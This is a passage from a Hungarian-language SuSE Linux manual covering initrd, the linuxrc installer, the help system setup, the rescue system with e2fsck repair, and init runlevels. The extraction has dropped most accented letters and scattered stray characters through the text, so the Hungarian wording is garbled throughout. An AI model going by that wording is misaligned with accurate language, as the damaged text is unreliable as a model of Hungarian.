16. A SuSE Linux specilis jellemz i o A teleptett rendszer indtsa A mltban a YaST tbb mint 40 kernelt nyjtott teleptsre, ahol a kernelek kztt csak az volt az alapvet klnbsg, hogy mindegyik egy specilis o SCSI meghajtt tartalmazott. Ez azrt kellett, hogy a root fjlrendszert be lehessen csatolni indts utn. Tovbbi meghajtkat azutn lehetett betlteni modulknt. Mivel mostmr optimalizlt kernelek is rendelkezsre llnak, ez az elgondols nem tarthat tovbb ugyanis mostanra mr tbb, mint 100 kernelimagere lenne szksg. Ez az, amirt initrd-t hasznlunk ma, mg a rendszer normlis indtshoz is. A md ahogy hasznljuk, hasonl a teleptshez. A linuxrc hasznlata itt, ellenben csak egy sima shell szkript, aminek csak annyi a feladata, hogy betltse az adott modult. Tipikusan, ez csak egy modul, nevezetesen a SCSI meghajt, ami ahhoz kell, hogy elrje a root fjlrendszert. Egy initrd ltrehozsa Egy initrd az mk_initrd szkript tartalma alapjn kerl ltrehozsra. A SuSE Linux-ban, a modulok a /etc/rc.config-ban meghatrozott INITRD_MODULES vltozk szerint kerlnek betltsre. Telepts utn ezek a vltozk automatikusan felveszik a megfelel rtkeket (a telept lio o nuxrc tudja, hogy mely modulok lettek betltve). Itt kell megemltennk, hogy a modulok pontosan abban a sorrendben lesznek betltve, ahogy az az INITRD_MODULES-ben lthat. Ez klnsen fontos, ha tbb SCSI meghajtt hasznlunk, klnben a merevlemezek nevei felcserl dnnek. Pontoo sabban mondva, elg lenne betlteni csak azokat a meghajtkat, ami a root fjlrendszer elrshez szksgesek, mert a tovbbi SCSI meghajtk automatikus betltse problmkat okozhat (hogy lehet ezt "el idzni", ha a meo revlemez a msodik SCSI adapterre van csatlakoztatva), betltjk az sszes szksges SCSI meghajtt a teleptskor az initrd tartalma szerint. Az aktulis mk_initrd leellen rzi, hogy kell-e SCSI meghajt a root fjlo rendszerhez. Ha az mk_initrd-t olyan rendszeren futtatjuk, ahol a / megtallhat az EIDE merevlemezen, az initrd-re nincs szksg, mivel a kernel amit a SuSE Linux hasznl mr tartalmazza az EIDE meghajtt. Ahogy egyre tbb s tbb sajtos EIDE vezrl jn a piacra, a jv ben valszn o o u leg szksg lesz ilyen esetekben az initrd-t hasznlni, a teleptett rendszer beindtsra. Figyelem: Mivel az initrd betltse az indtbetlt kkel ugyanolyan mo don megy, mint magnak a kernelnek a betltse (a LILO szreveszi az O map fjljban a fjlok helyt), a LILO -t jra kell telepteni minden vltoztats utn, ami az initrd-ben trtnt! gy minden mk_initrd utn, egy lilo is szksgess vlik! 16.3.5 El fordul nehzsgek az ltalunk fordtott kernelek o

Ha mi magunk fordtjuk a kernelt, ez gyakran az albbi problmkhoz vezethet: megszoksbl a SCSI meghajtt llandra lncoljuk a kernelhez, de az initrd vltozatlan marad. A rendszer indtsakor, a kvetkez trtnik: a o 442

16.4. A linuxrc kernel mr tartalmazza a SCSI meghajtt, a hardver rzkelsree kerlt. Az initrd ellenben most megprblja jra betlteni a meghajtt, modulknt; egyes SCSI meghajtknl (klnsen az aic7xxx-nl), ez a rendszer lefagyshoz vezet. Pontosabban mondva, ez egy kernel hiba (egy, mr ltez o meghajtt nem szabad engedni betlteni jra, mint modult). - A problma mr ismert ms vonatkozsban (soros port meghajtk). Tbb megolds van e problma megoldsra; vagy belltjuk a meghajtt, mint modult (ekkor megfelel en be lesz tltve az initrd-ben), vagy eltvoo ltjuk az initrd sort az /etc/lilo.conf fjlbl. Az utbbival egyenrang megolds, eltvoltani az INITRD_MODULES vltozt s lefuttatni az mk_initrd-t, ami szreveszi, hogy az initrd-re nincs szksg. 16.3.6 Kiltsok

Nagyon valszn , hogy a jv ben az initrd-t sokkal tbbre fogjuk haszu o nlni, s sokkal fejlettebb dolgok (mint csak a modulok betltse), kellenek majd a / elrshez. "High end" EIDE meghajtk Root fjlrendszer a RAID szoftveren (a linuxrc belltja az md eszkzket) Root fjlrendszer az LVM-en Root fjlrendszer titkostva (a linuxrc jelszt kr) Root fjlrendszer SCSI merevlemezen PCMCIA adapterrel. Tovbbi informcik /usr/src/linux/Documentation/ramdisk.txt /usr/src/linux/Documentation/initrd.txt man 4 initrd

16.4

A linuxrc

A linuxrc beindul a kernel indtsa alatt, rendszerint, mint egy Linux rendszertelepts el jtka, miel tt a "valdi" indts megkezd dik (a kernelnek, o o o termszetesen helyesen kell belltva lennie). Ez lehet v teszi, hogy elindto sunk egy kis, modularizlt kernelt s betltsnk egypr meghajtt, ami esetleg, mint modul szksges, egy hajlkonylemezr l vszhelyzet esetn akr o egy msodik (modules) lemezr l is. o A linuxrc, a segtsgnk az sszes vonatkoz hardver meghajt betltshez. Hasznlhatjuk a linuxrc-t, mint egy indt lemezt, egy mr teleptett rendszerhez, pldul, mint egy ment (rescue) lemez. Indthatunk egy teljesen fgo getlen RAMdiszk alap ment (rescue) rendszert, pldul, ha valami slyos o dolog trtnt a merevlemeznkkel vagy egyszer en elfelejtettk a root u jelsznkat. Tbbet err l, a 16.6 . fejezetben (451. oldal). o 443

16. A SuSE Linux specilis jellemz i o F men o Miutn kivlasztottuk a nyelvet, kperny t s billenty zetet, a linuxrc f meo u o njben talljuk magunkat (lsd a 2.4 . fejezetben (32. oldal)). Kezdjk a teleptst a Telepts megkezdse / rendszer (Start installation / system)-mel. Az jrszt a hardvereinkt l fgg, hogy kzvetlen oda tudunk-e menni. o Ha minden alkatrszt, ami a teleptshez kell, mr felismert a kernel, nem kell tovbbi meghajtkat betltennk. Ez f leg azokra a gpekre vonatkozik, o amelyekben csak (E)IDE adapterek (s csak (E)IDE merevlemezek, valamint CD-ROM van). Ha SCSI adapternk van, ami kell a teleptshez1 , akkor be kell tltennk a vonatkoz SCSI modult. Ugyanezt alkalmazzuk, ha egy meglv hlzaton o keresztl akarunk telepteni. Itt, a megfelel modult kell el szr betlteni. o o Tovbb, rengeteg rgebbi CD-ROM van, amit egyedi vezrl hajt meg, ezrt o sajt kernelmodul kell hozzjuk. Ha PCMCIA eszkzt csatlakoztatunk egy laptophoz, azokhoz is modulok kellenek. Rendszerinformcik A Rendszer Informci-ban (lsd a 16.1 brt) leellen rizhetnk o tbb dolgot, a kernel zeneteken tl, a PCI krtyk I/O-cmeit, vagy a Linux ltal felismert memria mrett. ...Ha nem vagyunk biztosak hardvereinkben, az indtsi zenetek taln segtenek. Leellen rizhetnk nhny rendszer informcit a Rendszer informo ci alatt. Itt ellen rizhetjk az alkalmazott megszaktsokat (interrupts) o I/O portokat, a f memrit s a felismert PCI eszkzket, ahogy azt a Linux o rzekelte. A kvetkez sorok mutatjk, hogy egy merevlemez s egy CD-ROM van o csatlakoztatva egy (E)IDE vezrl hz, s kzlik az indtsukat. Ez esetben o nem kell tovbbi modulokat betltennk:
hda: ST32140A, 2015MB w/128kB Cache, LBA, CHS=1023/64/63 hdb: CD-ROM CDR-S1G, ATAPI CD-ROM drive Partition check: hda: hda1 hda2 hda3 < hda5 >

1 Ha az adapterhez csak egy lapolvas (szkenner) csatlakozik, akkor azt nem kell indtskor betlteni.

444

16.4. A linuxrc

16.1 bra: rendszerinformci Ha egy olyan kernelt indtottunk, amibe mr egy SCSI meghajt be van fordtva, akkor mr nem kell ez a SCSI meghajt, mint modul. gy nzhet ki egy tipikus kzlemny, amikor a SCSI adaptereket betltjk s csatlakoztatjuk az eszkzkhz:
scsi:1 host. Started kswapd v 1.4.2.2 scsi0:target 0 accepting period 100ns offset 8 10.00MHz FAST SCSI-II scsi0:setting target 0 to period 100ns offset 8 10.00MHz FAST SCSI-II Vendor: QUANTUM Model: VP32210 Rev: 81H8 Type: Direct-Access ANSI SCSI revision: 02 Detected scsi disk sda at scsi0, channel 0, id 0, lun 0 scsi0:target 2 accepting period 236ns offset 8 4.23MHz synchronous SCSI scsi0:setting target 2 to period 248ns offset 8 4.03MHz synchronous SCSI Vendor: TOSHIBA Model: CD-ROM XM-3401TA Rev: 0283 Type: CD-ROM ANSI SCSI revision: 02 scsi:detected 1 SCSI disk total. SCSI device sda: hdwr sector=512 bytes. Sectors=4308352 [2103 MB] [2.1 GB] Partition check: sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 >

Modulok betltse Kivlasztjuk milyenfajta modulokra van szksgnk. Ha lemezr l indtoto tunk, a megfelel adatot beolvassa a linuxrc s kirja egy listban. o Ha CD-r l vagy DOS-bl (loadlin-en t) indtottunk, ezek a modulok mr be o vannak lltva a linuxrc-ben. Ez megsprolja az unalmas betltst, de ehhez tovbbi memria kell. Ha a gpnkben kevesebb, mint 8 MB RAM van, akkor lemezr l kell indtanunk. o A linuxrc felajnl egy listt az elrhet meghajtkrl. Bal oldalon, a modul o neve van, jobb oldalon pedig egy rvid lers a hasznlatrl. Nhny alkatrszhez, klnbz meghajtk kzl vlogathatunk (mg az o jabb alpha-code meghajtkbl is). 445

16. A SuSE Linux specilis jellemz i o

16.2 bra: modulok betltse

16.3 bra: a SCSI meghajtk vlasztka

Paramterek hozzadsa Amikor megtalltuk a megfelel meghajtt, a kurzort vigyk r, s nyomjunk o Egy prbeszdablak jelenik meg, ahol megadhatunk tovbbi param-t. tereket a modulhoz. B vebbet a modul paramterekr l a 14.3.4 . fejezetben o o (398. oldal) tallhatunk. Szeretnnk rmutatni, hogy a LILO prompttal ellenttben, az azonos modulhoz kerl paramtereket egy szkzzel kell elvlasztani. o A legtbb esetben nem kell rszletesen meghatrozni a hardvert. A legtbb meghajt automatikusan megtallja az eszkzt. A legtbb hlzati krtynak s egyedi CD-ROM meghajtnak azonban paramterek kellenek. Ha kts gnk van, csak prbljuk a megnyomni. -t 446

16.4. A linuxrc

16.4 bra: paramterek megadsa egy modulhoz, betltsre Bizonyos hardverek felismerse s inicializlsa nha id be telik. A 4. virtuo lis konzolra vltssal ( Alt + F4 ) meggyelhetjk a kernel zeneteit betlts alatt. A SCSI meghajtknak tbb id kell, mivel meg kell vrniuk minden o egyes eszkz betlt dst. o Ha a betlt ds sikeres volt, egy zenetet jelent meg a linuxrc, gy ellen o o rizhetjk, hogy minden simn ment. Egybknt, ha nem sikerlt, az zenet tletet adhat a hiba okra is. Telepts indtsa / Rendszer Amint belltottuk a hardver tmogatst a modulok segtsgvel, tkapcsolhatunk a Telepts Indtsa / Rendszer menpontra.

16.5 bra: a linuxrc Start menje 447

16. A SuSE Linux specilis jellemz i o Innen (lsd a 16.5 brt) tbb eljrst indthatunk el: Telepts megkezdse (innen a frissts is elindthat), Teleptett Rendszer Indtsa (a root partcit ismernnk kell), Rescue Rendszer Indtsa (lsd a 16.6 . fejezetben (451. oldal)), s Live-CD indtsa2 . A Live CD indtsa nagyon hasznos lehet, pldul amikor tesztelni szeretnnk egy gpet, anlkl, hogy valjban brmit is a merevlemezre teleptennk. Ha pl. egy Notebookot vizsglunk meg, amit meg akarunk vsrolni, hogy kompatibilis-e a SuSE Linux-szal egy ilyen teszt lehet sge minden modern PC zletben meg kell hogy legyen, minden neo hzsg nlkl!!

16.6 bra: a forrs mdiumok vlasztka a linuxrc-ben Teleptsre (lsd a 16.6 brt) vlaszthatunk a klnbz forrsokbl, hasono lan a rescue rendszerhez (lsd a 16.6 brt).

16.5 A SuSE Linux Help rendszere


A help rendszer komponens-orientlt, s brmilyen bngsz vel megtekinto het (lsd az 1.1 . fejezetben (9. oldal), vagy a 16.7 brt) mg hlzaton o keresztl is, ha akarjuk. A help rendszer kzponti eleme a susehilf csomag a doc kszletben. Elvrsainktl fgg en, mg az albbi csomagokat telepthetjk (help-et o a teleptshez, lsd a 3.4.3 . fejezetben (97. oldal)). A kritikus rszek teleptse a szabvny teleptssel felkerl, gy nincs okunk pnikra ;-) apache csomag az n kszletben: Apache, a helyi WWW kiszolgl.
2 A Live CD ("l fjlrendszer") csak x86 architektrhoz kaphat, s kln kell megvsrolo nunk.

448

16.5. A SuSE Linux Help rendszere

16.7 bra: a help rendszer honlapja (lynx) sdb csomag a doc kszletben: Alapvet keres funkci az SDB szo o mra. sdb_de csomag a doc kszletben: A Tmogatsi Adatbzis (SDB) cikkei nmet nyelven. susepak csomag a doc kszletben: A csomagok lersai tanulmnyozsra. howtodeh csomag a doc kszletben: HOWTO dokumentumok nmet nyelven. howtoenh csomag a doc kszletben: HOWTO dokumentumok angol nyelven. ltalban jobban naprakszek, mint a fordtsok. ldp csomag a doc kszletben: Az LDP Linux Documentation Project knyvei, FAQ-k, stb. HTML-ben. rman csomag az ap kszletben: A http-rman-t tartalmazza. inf2htm csomag a doc kszletben: Ez a Texinfo dokumentumok olvassra van lsd a 1.4.3 . fejezetben (8. oldal)) sajt web bngsz nko kel. A dokumentumok talaktsa "menet kzben" (on-the-y) trtnik. dochost csomag az n kszletben: A kzponti dokumentum kiszolgl. Olvassuk el a /usr/doc/packages/dochost/README. SuSE-t! htdig csomag az n kszletben: Ltrehoz egy tartalomjegyzket (index) minden WWW dokumentumrl, amit a helyi gpen s a helyi hlzaton tall. talaktja gpnket egy web keres v. o 449

16. A SuSE Linux specilis jellemz i o A dochost s a htdig csomagok nem felttlen szksgesek, de kiszlestik a help rendszerrel val munka m kdst. u 16.5.1 nll gp s kiszolgl belltsa

A /etc/rc.config alatt be kell lltanunk a vltozkat egy egyedlll u gpnek, amint az a 16.5.1 fjllistban van (clszer en a YaST -tal, ahogy azt a 3.6.12 . fejezetben (116. oldal) elmagyarztuk, s klnsen a 89 . fejezetben (470. oldal)). Ez arra utal, hogy a gpnk neve atlantisz.liget, klnben neknk kell megadni azt a nevet, amit adtunk neki.
START_INETD="yes" START_HTTPD="yes" DOC_SERVER="yes" DOC_HOST="atlantisz.liget " DOC_ALLOW="LOCAL .liget "

16.5.1 fjllista: a /etc/rc.config egyedli gphez s kiszolgl rendszerekhez Gy z djnk meg rla, hogy az apache HTTP kiszolgl elindult-e bootolso o kor. A web kiszolgl a START_HTTPD= yes rtk belltsra aktivizldik. A DOC_SERVER jelli ki, hogy ez a host szolgljon-e dokumentum kiszolglknt. Ezt be kell lltanunk yes-re, ha el akarjuk rni a dokumentumokat egy egyedlll gpen. A DOC_HOST belltja a dokumentum kiszolgl nevt (a pldban: atlantisz.liget). A DOC_ALLOW biztonsgi okbl van. Itt bellthatjuk a host-okat, amelyek megnzhetik a manlapokat. Ha meg akarjuk engedni az egsz domain-nek ne felejtsk el a .-ot az elejr l! o Ne felejtsk el, hogy le kell futtatnunk a SuSEconfig-ot a vltozk megvltoztatsa utn. Ha a vltoztatst a YaST -tal vgezzk, a SuSEconfig automatikusan elindul. A teljes szvegkeress elrhet lesz, amint a htdig program tartalomjegyzke o elkszl. Jelenleg ez megkzelt leg 70 MB mret . Legalbb 200 MB szao u bad helynek kell lenni az /opt/www/htdig alatt. A programot az albbi mdon indthatjuk:
meggyfa:~ # suserundig

a /usr/sbin/suserundig rtelmezi (parses) a /opt/www/htdig/conf/susedig.conf-ot, s ltrehozza az index fjlt. Ha frisstjk a HTML dokumentumokat, jra kell futtatnunk a /usr/sbin/suserundig-et. 16.5.2 Kliens bellts

Taln nem is akarjuk az egsz help rendszert a helyi hlzatunk minden egyes gpre feltelepteni. A kliens gpen neknk csak az alap dochost cso450

16.6. A SuSE Rescue rendszer magot kell az n kszletb l telepteni, s a megfelel vltozt belltani a o o /etc/rc.config-ban, a 16.5.2 fjllista szerint.
DOC_SERVER="no" DOC_HOST="atlantisz.liget " DOC_ALLOW=""

16.5.2 fjllista: /etc/rc.config egy kliens rszre Ez nyilvnvalan csak akkor m kdik, ha a dokumentci teleptve van az u atlantisz.liget nev gpen. u 16.5.3 A Help rendszer hasznlata Ha a help rendszer a fentiek szerint teleptsre kerlt, azt a kvetkez vel hvo hatjuk meg: susehelp. Megadhatjuk az albbi URL cmet kzvetlenl a WWW bngsznkbe is: http://localhost/doc/susehilf/index.html vagy http://sonne.kosmos.all/doc/susehilf/index.html; Az atlantisz.liget csak akkor m kdik termszetesen, ha a mi gpnku nek vagy a dokumentum kiszolglnknak ez a neve.

16.6

A SuSE Rescue rendszer

ttekints A SuSE Linux a teleptsi rendszert l fggetlenl tartalmaz egy nll o Linux-rescue rendszert3 , amivel vszhelyzetben elrhetjk az sszes Linux partcinkat a merevlemezen, "kvlr l". A rescue rendszer gondos vlogao tst tartalmaz programokbl, ezzel megfelel eszkzt nyjtva a szles vlaszo tk problma megoldsra, az elrhetetlen merevlemezt l, a rosszul belltott o kongurcis fjlokig, stb. A rescue rendszer tartalmaz egy indt lemezt (vagy indthat CD-t), s egy "rescue" rendszert, ami a SuSE Linux-ban betthet igen klnbz mdio o krl (hajlkony lemezr l, CD-r l, hlzatrl, mg kzvetlenl a SuSE-FTP o o kiszolglrl is). El kszletek o Mivel brmikor jra kszthetnk egy indt lemezt a CD-n lev megfelel o o image fjlrl (a /disks-ben), ez elg biztonsgos tmaszt nyjt. Az indtlemezen kvl, csak a /disks/rescue fjlra van szksgnk a CD-r l, o ami egy kis root fjlrendszer s rtett image-t tartalmazza. Ha felrjuk ezt a u fjlt az albbi Linux paranccsal:
meggyfa: # /sbin/badblocks -v /dev/fd0 1440 meggyfa: # dd if=/cdrom/disks/rescue of=/dev/fd0 bs=18k
3 Pontosabban, most mr kett van ebb l vagy ppen hrom, ha hajlunk arra, hogy az indthat o o "l (live) fjlrendszert" is egy rescue rendszernek tekintsk; ezt az l -fjlrendszert alacsony o o sszegrt kln vsrolhatjuk meg.

451

16. A SuSE Linux specilis jellemz i o vagy DOS parancsot hasznlva (felttelezve, hogy Q: a CD-ROM DOS alatt):
Q:\dosutils> rawrite.exe

egy msodik, hibamentes "rescue-lemezre", akkor betlthetjk a rescue rendszert az indt lemezr l, s err l a rescue lemezr l is; a rescue lemezt a YaST o o o is ltre tudja hozni (lsd a 3.6.2 . fejezetben (106. oldal)). A rescue lemez jelenleg a libc5 -n alapul (SuSE Linux 5.3); csak ezen az ton vlik lehet v o bizonyos programok trolsa a hajlkony lemezen (editor, fdisk , e2fsck , stb.) a glibc tl nagy lenne, hogy rfrjen. Ne felejtsk el, hogy nem tudjuk a rescue lemezt magt becsatolni, mert az nem tartalmaz fjlrendszert, csak egy s rtett image-et (a kitmrtett image u 3,5 MB helyet foglalna, tl nagyot ahhoz, hogy egy hajlkony lemezre rfrjen). Ha bele akarunk nzni a rescue lemez image-be, ki kell tmrtennk s becsatolnunk (a felhasznl nevnknek root -nak kell lenni). Amennyiben kernelnk tmogatja a loop device-t, megadhatjuk:
meggyfa: # cp /cdrom/disks/rescue /root/rescue.gz meggyfa: # gunzip /root/rescue.gz meggyfa: # mount -t ext2 -o loop /root/rescue /mnt

Most mr belenzhetnk a rescue lemez tartalmba a /mnt alatt. Mindig legyen egy pr felesleges indt lemeznk kznl! Egy ilyen lemez elksztse nem tart sokig sokkal kevesebb ideig tart, mint vszhelyzetben egy lemezt keresni. Ilyen vszhelyzetben biztosak lehetnk benne, hogy a CD-ROM sem fog m kdni (Murphy trvnye...)! u A Rescue rendszer elindtsa A rescue rendszert, akrcsak egy norml teleptst, a SuSE indtlemez, vagy az indthat els CD hasznlatval indthatjuk el. A lpsek: o 1. El felttelek: A hajlkony lemezmeghajt vagy CD-ROM indthat (boo otable) kell, hogy legyen. Ha nem, akkor be kell lltanunk a CMOS-ban. 2. Indtsuk a rendszert a SuSE indt lemezzel vagy az els CD-vel. A lilo o prompt-nl adjuk emg, hogy yast1 vagy manual. Manual esetn, megvan a lehet sgnk a szksges kernelmodulok fgo getlen betltsre. 3. Adjuk meg a nyelvet, lltsuk be a billenty t, stb. mint a teleptsnl a u linuxrc-vel, amg el nem rjk a F ment. o 4. Most vlasszuk ki a Telepts/Rendszer Indts pontot. 5. Tegyk be azt a CD-t vagy a lemezt, amin a rescue rendszer s rtett imageu e van. 6. A F menben vlasszuk a Telepts indtsa / Rendszero t. 7. Ha az indt lemezzel kezdtnk, akkor most betehetjk a telept CD-t o vagy a rescue lemezt, a rescue rendszer s rtett image-vel. u 8. A Telepts indtsa/Rendszer menben vlasszuk a Rescue rendszer indtsa ttelt (lsd a 16.5 . fejezetben (447. oldal)), s hatrozzuk meg a kvnt forrs mdiumot (lsd a 16.8 brt): 452

16.6. A SuSE Rescue rendszer

16.8 bra: forrs mdia kivlasztsa a linuxrc-ben CD-ROM: ez az "ltalnos t". A linuxrc betlti a rescue rendszert (.../suse/images/rescue). Ehhez a szmtgpnek legalbb 16 MB RAM (memria) kell, br inkbb 24 MB a kvnatos. A /cdrom knyvtr ugyanakkor exportlva van, gy knnyedn lehet v vlik a rescue rendszer indtsa s utna egy hlzati telepts o vgrehajtsa err l a CD-r l (be kell lltanunk a /etc/rc.config o o fjlt a szksges rtkekkel s lefuttatni a SuSEcong-ot; lsd a 17.5 . fejezetben (461. oldal).). Hlzat (NFS): a rescue rendszer elrse NFS-en keresztl, hlzatrl; termszetesen a hlzati krtya meghajtnak mr teleptve kell lenni; ltalnos tleteket tallunk mg a 2.4.2 . fejezetben (50. oldal). Hlzat (FTP): a rescue rendszer elrse FTP-n keresztl, hlzatrl; ne felejtsk el a hlzati krtya meghajtt! Merevlemez: a rescue rendszer betltse merevlemezr l. o Mgneslemez: a rescue rendszer elrse hajlkonylemezr l, o amint azt fentebb lertuk; ez a varici mg akkor is m kdik, ha a u szmtgp csak kevs RAM-mal rendelkezik. A rescue rendszer mostmr ki van tmrtve, s egy RAM-diszkre tltve, mint egy j root fjlrendszer, becsatolva s elindtva. Hasznlatra ksz. Munka a rescue rendszerrel A rescue rendszer hrom virtulis konzolt biztost, ol az Alt + F1 -t Alt + F3 Ezeken a root bejelentkezhet jelsz nlkl. Az -ig. Alt o+ F4 el hozza neknk a rendszerkonzolt, ahol lthatjuk a kernel s a syslog zeneteit. A shell s sok ms hasznos segdprogram (utilities, net tools) tallhat a /bin alatt. Az sbin alatt talljuk az e2fsck -t, ami nagyon hasznos a fjlrendszer ellen rzsre s javtsra. o 453

16. A SuSE Linux specilis jellemz i o Az sbin alatt van nhny fontos binris a rendszer karbantartsra, mint az fdisk , mkfs, mkswap, mount, mount, init, shutdown, valamint az ifcong, route, s a netstat a hlzat karbantartsra. Egy szerkeszt , a vi is megtallhat a /usr/bin alatt. Olyan eszkzk, o mint a grep, nd , less, s a legfontosabb, a telnet is rendelkezsre ll. /mnt/usr/bin. Plda: A norml rendszer elrse A rescue rendszer hasznlathoz csatoljuk be a Linux rendszert a /mnt al. Termszetesen hasznlhatunk vagy ltrehozhatunk ms knyvtrakat is. Pldaknt, ttelezzk fel, hogy a norml rendszernk a 16.6.1 fjllistn lthat /etc/fstab szerint van sszelltva.
/dev/sdb5 swap swap defaults 0 0 /dev/sdb3 / ext2 defaults 1 1 /dev/sdb6 /usr ext2 defaults 1 2

16.6.1 fjllista: plda pfada/etc/fstab a rendszer helyrelltshoz Figyeljk meg az albbi pldt: Csatolhatjuk be rendszernket lpsr l lpsre a /mnt al. Hajtsuk vgre az o albbi parancsokat sorrendben:
meggyfa:/ # mount /dev/sdb3 /mnt meggyfa:/ # mount /dev/sdb6 /mnt/usr

Ezek utn mr elrhetjk az egsz rendszert, s pl. kijavthatunk hibkat a kongurcis fjlokban, pl. a /etc/fstab, /etc/passwd, s /etc/inittab fjlokban. Ezek a fjlok termszetesen most a /mnt/etc alatt rhet k el, a norml /etc helyett! o Minden vatos Linux felhasznl kinyomtatja paprra a /etc/fstab fjlt s meg rzi az albbi parancs kimenett o
meggyfa: # fdisk -l /dev/<diszk>

"egy biztonsgos helyen"; a <diszk> helyre termszetesen be kell helyettestennk, a merevlemez eszkznk nevt, pl. hda (lsd a D.1 . fejezetben (531. oldal)). Mg teljesen elveszett partcik is gyakran visszallthatk a Linux fdisk -kel, egyszer en a partci jra ltrehozsval, ha pontosan tudu juk, hogy hol voltak el z leg a partcik. o o Plda: A fjlrendszer megjavtsa A megsrlt fjlrendszerek trkks problmk a rescue rendszer szmra. Ez el fordulhat egy ramkimarads okozta vratlan lellsnl, vagy egy o rendszer-sszeomls esetn is. ltalban, fjlrendszerek nem javthatk fut rendszeren. Ha valban slyos problmval tallkozunk, akkor mg a root fjlrendszernket se tudjuk becsatolni, mivel a rendszerindts egy "kernel panic" zenettel lell. Ekkor egyetlen eslynk a rendszer megjavtsra, egy "kls " rescue rendszert hasznlata. o 454

16.7. Billentyuzet kioszts A SuSE Linux rescue rendszere tartalmaz egy segdprogramot, az e2fsck -t, s problma diagnosztizlsra, a dumpe2fs-t. Ezek meg kell, hogy oldjk a legtbb problmt. Vszhelyzetben, ltalban a kziknyvlapok sem elrhet k. Ezrt vettk bele ebbe a knyvbe az E . fejezetben (537. oldal). o Plda: Ha egy fjlrendszer hibs pl. invalid superblock miatt, akkor, nagy valszn sggel az e2fsck is hibzni fog. Ha ez a helyzet, akkor a superblock-unk is u megsrlhetett. A superblock-rl van msolat minden 8192 blokknl (8193, 16385, ...). Ha megsrlt egy superblock-unk, megprblhatjuk az egyik msolatt hasznlni helyette. Ezt az albbi paranccsal tudjuk vgrehajtani:
meggyfa: # e2fsck -f -b 8193 /dev/srlt_partci

A -f opci knyszerti (forces) a fjlrendszer ellen rzst, s fellrja az o e2fsck hibit, gy mivel a superblock msolat rintetlen minden rendben lesz.

16.7 Billentyuzet kioszts


A billenty zetet beolvas programok szabvnyostsa miatt az albbi fjlok u megvltoztak: /usr/lib/X11/Xmodmap /etc/inputrc /etc/skel/.exrc /etc/skel/.less /etc/skel/.lesskey /etc/csh.cshrc /etc/termcap /usr/lib/terminfo/x/xterm /usr/lib/X11/app-defaults/XTerm /usr/share/emacs/20.6/site-lisp/term/*.el /usr/lib/joerc Ezek a vltozsok csak azokat az alkalmazsokat rintik, amelyek terminfo bejegyzseket hasznlnak vagy olyan kongurcis fjlokat, amiket kzvetlenl a vi, less, stb. vltoztatott meg. Ms, nem-SuSE alkalmazsokat igaztani kell ezekhez az alaprtelmezsekhez.

455

16. A SuSE Linux specilis jellemz i o

456

17. fejezet

A SuSE Linux boot koncepcija


Fordtotta: Vradi Istvn Egy UNIX rendszer bootolsa (elindtsa), s alapllapotba hozsa (inicializlsa), mg egy tapasztalt rendszeradminisztrtornak is kihvs lehet. Ez a fejezet a SuSE Linux boot koncepcijnak rvid ttekintst tartalmazza. Ez a koncepci sokkal bonyolultabb, de egyben sokkal rugalmasabb is, mint ms Linux disztribcik. Alapjt a System V UNIX munkallomsok boot koncepcija adja, ahogy az a [Fri93] helyen is olvashat. Az "Uncompressing Linux..." zenet jelzi, amikor a kernel veszi t az irnytst a hardver felett. Ellen rzi s belltja a konzolt1 mikzben kiolo vassa a BIOS belltsokat s inicializlja az alapvet hardveres csatolkat. o Ezutn a meghajtk vgigszondzzk a gpben lv hardveregysgeket s o alapllapotba hozzk oket. A partcik ellen rzse, s a gykr fjlrendszer o becsatolsa utn (amit a / jelhez rendelnk), a kernel elindtja a /sbin/init programot, ami a f rendszert indtja el, annak minden programjval s belo ltsval. A kernel irnytja az egsz rendszert, belertve a hardveres hozzfrseket s a programok rendelkezsre ll CPU id t is. o

17.1

Az init program

A /sbin/init program felel s minden rendszerfolyamat megfelel alapllao o potba hozsrt. Ennlfogva O az ose (szl je) minden folyamatnak (proo cessznek) az egsz rendszerben. Az init-nek klnleges szerepe van: az init-et kzvetlenl a kernel indtja el s, ellenll a 9-es SIGNAL-nak, ami norml esetben a folyamatok lelltsra szolgl. Minden tovbbi programot vagy kzvetlenl az init, vagy valamelyik leszrmazott, n. gyermekfolyamata (child process) indt el. Az init belltsa kzpontilag trtnik a /etc/inittab fjlban. Itt kell meghatrozni az n. futsi szinteket is - ezekr l majd a kvetkez rszben o o lesz sz. Ugyanitt van megadva, hogy mi trtnjen a klnbz szinteken. o A /etc/inittab-ban tallhat bejegyzsekt l fgg en tbb szkriptet is o o elindt az init program, amelyek az egyszer sg kedvrt mind ugyanabban a u knyvtrban vannak (/etc/init.d). A rendszer elindtsnak (s egyben lezrsnak is) az egsz folyamatt az init felgyeli s irnytja. Ebb l a szempontbl a kernelt mintegy "httrfoo
1

Mg pontosabban, a grakus krtyk BIOS regisztereit s a megjelentsi mdot.

457

17. A SuSE Linux boot koncepcija lyamatnak" lehet tekinteni, amelynek feladata minden ms folyamat felgyelete, ill. a CPU id s a hardveres hozzfrsek szablyozsa ms prograo moktl jv krsek alapjn. o

17.2

Futsi szintek

A Linuxban a futsi szintek hatrozzk meg, hogy hogyan fog elindulni a rendszer. Elindts utn a rendszer a /etc/inittab fjl initdefault bejegyzse szerint indul el. Egy msik megolds, hogy klnleges futsi szinteket adunk meg indtskor (pl. a LILO promptnl): a kernel minden paramtert, amire nincs szksge, kzvetlenl az init programnak ad t. Amikor mr fut a rendszer, a futsi szintek megvltoztatshoz elg elindtani az init programot a megfelel paramterrel. Ezt viszont, csak a rendszergazda o tudja megtenni:
root@meggyfa:/ > init S

Az el bbi parancs egyfelhasznls md-ba kldi a rendszert, amely a rendszer o karbantartsra s adminisztrlsra szolgl. Az S mdban elvgzett munka vgeztvel a rendszeradminisztrtor ismt a 2-es szintre tudja visszatenni a futsi szintet a kvetkez k begpelsvel: o
root@meggyfa:/ > init 2

Ekkor minden alapvet program jra elindul s ms felhasznlk is bejelento kezhetnek, dolgozhatnak a rendszerben. Az albbi tblzat ttekintst nyjt a rendelkezsre ll futsi szintekr l. Az 1-es futsi szintet soha nem szabad o hasznlni olyan rendszerben, melynek a /usr partcija NFS-en keresztl lett becsatolva:

Futsi szint 0 S 1 2 3 4 5 6

Jelentse Halt (llj!) Egyfelhasznls md Tbbfelhasznls md hlzat nlkl Tbbfelhasznls md szabvnyos hlzattal Tbbfelhasznls md hlzattal s xdm-mel Nem hasznlt Nem hasznlt jraindts 17.1 tblzat: A Linux rvnyes futsi szintjei

A rendszert (tbbek kztt) az:


root@meggyfa:/ > init 0

begpelsvel lehet meglltani, jraindtani pedig ezzel:


root@meggyfa:/ > init 6

